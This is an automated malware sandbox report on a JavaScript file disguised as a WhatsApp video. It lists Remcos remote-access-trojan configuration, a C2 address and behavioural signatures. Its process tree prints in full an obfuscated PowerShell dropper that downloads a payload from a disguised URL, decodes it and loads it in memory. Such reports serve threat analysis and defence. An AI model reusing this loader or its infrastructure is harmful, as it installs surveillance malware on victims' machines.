Overview

overview

10

Static

static

1

WhatsApp V....33.js

windows10-2004-x64

10

WhatsApp V....33.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 15:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WhatsApp Video 2026-09-05 at 13.03.33.js
  • Size 489KB
  • Sample260910-smflyadl3t
  • SHA256 e0153e95ed7b5e86ff159aa8c689166916dfb1ee67b79198fa04e2e7dd0124ab
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
remotehostexecutionremcosrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://od.lk/s/MTFfODg2NTcxMTZfN01KTTk/MSI_PRO.png

Extracted

Family

  • remcos

Version

  • 7.3.1 Pro

Botnet

  • RemoteHost

C2

  • 64.89.161.94:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-TWF4WO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\WhatsApp Video 2026-09-05 at 13.03.33.js"
    1⤵
      PID:1096
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$yifogeriyudakepuzewidolopadopikiyuqivupiyalezuyuqucobizaqezihizijuwuraliciracecuvecimozivutukiwojaji=''https://od.lk/s/MTFfODg2NTcxMTZfN01KTTk/MSI_PRO.png''; $yuwefomidetovuhaduzoyigufenezafilisunugopinugejivojiqakeludovaxesuwunofiyemewegufujomexeramoqeyanuhi = [System.Net.HttpWebRequest]::Create($yifogeriyudakepuzewidolopadopikiyuqivupiyalezuyuqucobizaqezihizijuwuraliciracecuvecimozivutukiwojaji); $yuwefomidetovuhaduzoyigufenezafilisunugopinugejivojiqakeludovaxesuwunofiyemewegufujomexeramoqeyanuhi.UserAgent = ''Mozilla/5.0''; $navacezeqanenajavusaterasojilotavasasulugusizexuvibotuyekolilunuvujokavuhibizecirijutezivodehojazucu = $yuwefomidetovuhaduzoyigufenezafilisunugopinugejivojiqakeludovaxesuwunofiyemewegufujomexeramoqeyanuhi.GetResponse().GetResponseStream(); $zikiruvozoyoqofesipizosodaditeceyonevudajadanibohoyohujupidugigaweqetizezimomiyuliqeyajajaparojedebi = New-Object IO.StreamReader($navacezeqanenajavusaterasojilotavasasulugusizexuvibotuyekolilunuvujokavuhibizecirijutezivodehojazucu); $foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo = $zikiruvozoyoqofesipizosodaditeceyonevudajadanibohoyohujupidugigaweqetizezimomiyuliqeyajajaparojedebi.ReadtoEnd(); $hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu=''IN-''; $hamibefikiluqaxuzemuvuceniyufeloyaveciwafovigazeduvufibadugeyepiluzutilenulexorotugugeniyiqojipexeju=''-in1''; $qabocemetayujeruzedubigewipulozinuluzetuqitezahalidajuhifavomecasixowodavahesikacujuxeluganigekekoto=$foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo.IndexOf($hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu); $qenaviqokoxezinonofinelesenijadocefugayayiwoharisuducahibamobiromahedoqeholivufumifuneremidizigeveqo=$foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo.LastIndexOf($hamibefikiluqaxuzemuvuceniyufeloyaveciwafovigazeduvufibadugeyepiluzutilenulexorotugugeniyiqojipexeju); if($qabocemetayujeruzedubigewipulozinuluzetuqitezahalidajuhifavomecasixowodavahesikacujuxeluganigekekoto -eq -1 -or $qenaviqokoxezinonofinelesenijadocefugayayiwoharisuducahibamobiromahedoqeholivufumifuneremidizigeveqo -eq -1){return}; $xohujakovigeloqutepeyezumuqequraxohuxavuqogivinorocalaxuyasiseculumihogaloxuhazecuruhopitavigoxanino=$qabocemetayujeruzedubigewipulozinuluzetuqitezahalidajuhifavomecasixowodavahesikacujuxeluganigekekoto+$hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu.Length; $pulajegahegezicikoduvuxexurifapeyivateragutepuyuvuzaroxuwozipiwalunoyawulahududakurexawepujukuqecayi=$foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo.Substring($foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo.IndexOf($hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu)+$hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu.Length, $qenaviqokoxezinonofinelesenijadocefugayayiwoharisuducahibamobiromahedoqeholivufumifuneremidizigeveqo-($foxituceyumazavuhohebivisotiwacuwozupugegofilobajeledetocuhariwoporaxugeqoteqadebiroxosoboratuwiqeyo.IndexOf($hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu)+$hulepexoqerixoyutadeqacogesatojepugegosoqiharodesurosiwirojaqoxulisoliguwupetuvoxajewogubezebaruzedu.Length)); $xekanicirapenahemopemutevuqusepuxigeceqotowanufebaxoticedapodipejoharepevuhapepoxofurefenibigoxajuqo=$pulajegahegezicikoduvuxexurifapeyivateragutepuyuvuzaroxuwozipiwalunoyawulahududakurexawepujukuqecayi.Replace(''*'',''A'').ToCharArray(); $mimadotemugijosogixogayonolagufozokajonawitefanogacomayoquwumegusazofawajagematiguhatuxeqajeyimohegi = -join $xekanicirapenahemopemutevuqusepuxigeceqotowanufebaxoticedapodipejoharepevuhapepoxofurefenibigoxajuqo[($xekanicirapenahemopemutevuqusepuxigeceqotowanufebaxoticedapodipejoharepevuhapepoxofurefenibigoxajuqo.Length - 1)..0]; $haqinubixecurocukuyowatiropenirupiwifelamepihehezexuhimebetonexehuqivulapoxabobemoxigabosajozakuzaku = [Type]::GetType(''System.Convert''); [byte[]]$nocoqaqacivayewuyakutadurukanoraninevunobubijigijubacoyelapefemobimunotusocofacudiwuviwitupoqokebuqa = $haqinubixecurocukuyowatiropenirupiwifelamepihehezexuhimebetonexehuqivulapoxabobemoxigabosajozakuzaku.GetMethod(''FromBase64String'').Invoke($null, (, $mimadotemugijosogixogayonolagufozokajonawitefanogacomayoquwumegusazofawajagematiguhatuxeqajeyimohegi)); $cuzepojiqeyuzamoxohefoheguguyisegefabuqeqidigejujofogozuwoqiqonasuhuceyetacajarofixepiqoguzagicicake=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $dubajodihogoginefequkizowonojehayiviwilizopuyarivalasabiharubehisofogizitoqocuxiroligewoxevacevesuqu=$cuzepojiqeyuzamoxohefoheguguyisegefabuqeqidigejujofogozuwoqiqonasuhuceyetacajarofixepiqoguzagicicake.Invoke([AppDomain]::CurrentDomain, (,$nocoqaqacivayewuyakutadurukanoraninevunobubijigijubacoyelapefemobimunotusocofacudiwuviwitupoqokebuqa)); $qosizofifunimeyirikilocugahiripalikakeserubafafetekataxifavereletohopitazulaqajuhalunufaputekutiputa=(''OYTfPKDxVNurjYTBqBFyUI8Du0M0rADo31pyARKb1P6R4yxyfZDfUSUF6yphp7HZliOAbXklNMlMVLWJdV09cS1DnJ+X7OoluKscG5j7JsA='','''',''3W1sqk1qLu6K9DY+mHCBv4RR//WGfvzhu2EfEWHrwsAcNeJW/tVIPLFzzDmCRhKS'',''UKTfViGTGjhl8r/OlXT0MNCL/+T91DxrgrIHvjtGIvw='',''PJkQ6yZ9hpvyv9HEf3qyZXPz54EbviEnwd6mOE1YBsI='',''ekzFRthy7o6YaUz3+ZRUZvos8/O4eN3z6lJIFnv6biw='',''A/td7WfXfZ/lqhYj+p2WYlu17cY6YDNAUZlNMCOHx5Q='','''',''g8ByC8YUvbPTCMJF/UdxfbkLjQM0QEc1ibpnupQf+nw='',''iVVaX6f+AtssCfnmi7bpOih+IjQXrvBkjHylcY2niEDzgwqxFME9CTV1VRBde9zy'',''W6DOLlpx6ecHKKLPpfccT4zbw3mGt/LUxzL9xqZpUrc='',''rt1bP9++oDb6bq7+SapPBqlYOQlgiZFbAgXDGmiPQQg='',''QKRRMa7TYtoiDu69gm7vbFhorMB7QO/c/Ub2DuNfJ9k='','''',''K/y7sm20AqZxkEnowF47YPWq2jmVBCCrvNrGD6vTid0='',''YwFLoC2KM/MkMRxAOAugeLaN6Kol7NR8lO7aP57FnIA='','''','''',''''); try{ $keyecadapurinijolahunipagoqugofevotegezixefavakunotoqawiqitudajopezihemevogozijoqodujatuvozuqafimiwo=($dubajodihogoginefequkizowonojehayiviwilizopuyarivalasabiharubehisofogizitoqocuxiroligewoxevacevesuqu.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $dizibilasihuwevoleyisinemuhetufupiqerenohepugayexeqigojicozaqetaqiyuyisirefigefizevoxububaheloganudo=($keyecadapurinijolahunipagoqugofevotegezixefavakunotoqawiqitudajopezihemevogozijoqodujatuvozuqafimiwo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $dizibilasihuwevoleyisinemuhetufupiqerenohepugayexeqigojicozaqetaqiyuyisirefigefizevoxububaheloganudo.Invoke($null,[object[]]$qosizofifunimeyirikilocugahiripalikakeserubafafetekataxifavereletohopitazulaqajuhalunufaputekutiputa) }catch{}'))"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4364
      • C:\Windows\System32\calc.exe
        C:\Windows\System32\calc.exe
        2⤵
          PID:4724

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/4364-10-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-11-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-2-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-3-0x0000024037120000-0x0000024037142000-memory.dmp
            Download

            memory/4364-6-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-7-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-1-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-8-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-0-0x00007FFE2A8EF000-0x00007FFE2A8F0000-memory.dmp
            Download

            memory/4364-9-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-12-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4364-13-0x0000024037650000-0x00000240376D4000-memory.dmp
            Download

            memory/4364-14-0x00000240376D0000-0x00000240376E2000-memory.dmp
            Download

            memory/4364-15-0x00000240371B0000-0x00000240371BA000-memory.dmp
            Download

            memory/4364-18-0x00007FFE2A760000-0x00007FFE2B104000-memory.dmp
            Download

            memory/4724-16-0x0000000140000000-0x00000001400AF000-memory.dmp
            Download